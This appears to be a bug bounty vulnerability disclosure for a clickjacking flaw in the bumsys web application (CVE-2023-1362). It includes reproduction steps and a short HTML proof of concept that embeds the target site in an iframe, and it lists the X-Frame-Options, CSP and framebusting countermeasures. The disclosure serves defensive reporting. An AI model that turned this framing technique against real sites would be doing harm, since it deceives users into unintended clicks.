Lucene search
CtflearnerE5959166-C8EF-4ADA-9BB1-0FF5A9693BACHistoryFeb 25, 2023 - 9:11 a.m.
UI REDRESSING
2023-02-2509:11:57
ctflearner
www.huntr.dev
15
web application
ui redressing
frame objects
user interface
clickjacking
x-frame-options
content security policy
framebusting
EPSS
0.001
Percentile
48.8%
Description
The web application does not restrict or incorrectly restricts frame objects or UI layers that belong to another application or domain, which can lead to user confusion about which interface the user is interacting with
Steps To Reproduce
1. Create a New HTML file as shown in below i.e Test.html
2. Put `<iframe src="http://demo.bumsys.org/" width="1000" height="1000"></iframe>`
3. Save the File
4. Open the File(Test.html) in Browser(i.e Firefox )
File : Test.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Clickjacking Attack</title>
</head>
<body>
<p>This Page is Vulnerable to Clickjacking</p>
<iframe src="http://demo.bumsys.org/" width="1000" height="1000"></iframe>
</body>
</html>
Proof of Concept
https://drive.google.com/file/d/12iuOMyGVS9qz5j3638PAVdYvhCipTfbi/view?usp=sharing
COUNTERMEASURE
It's important to implement the X-Frame-Options header, using a content security policy (CSP), and enabling browser features like Framebusting.
Related
cve
cve
CVE-2023-1362
2023-03-13 05:15:11
cvelist
cvelist
nvd
nvd
CVE-2023-1362
2023-03-13 05:15:11
osv
osv
CVE-2023-1362
2023-03-13 05:15:11
prion
prion
Input validation
2023-03-13 05:15:00
nuclei
nuclei
unilogies/bumsys < v2.0.2 - Clickjacking
2023-06-02 18:15:08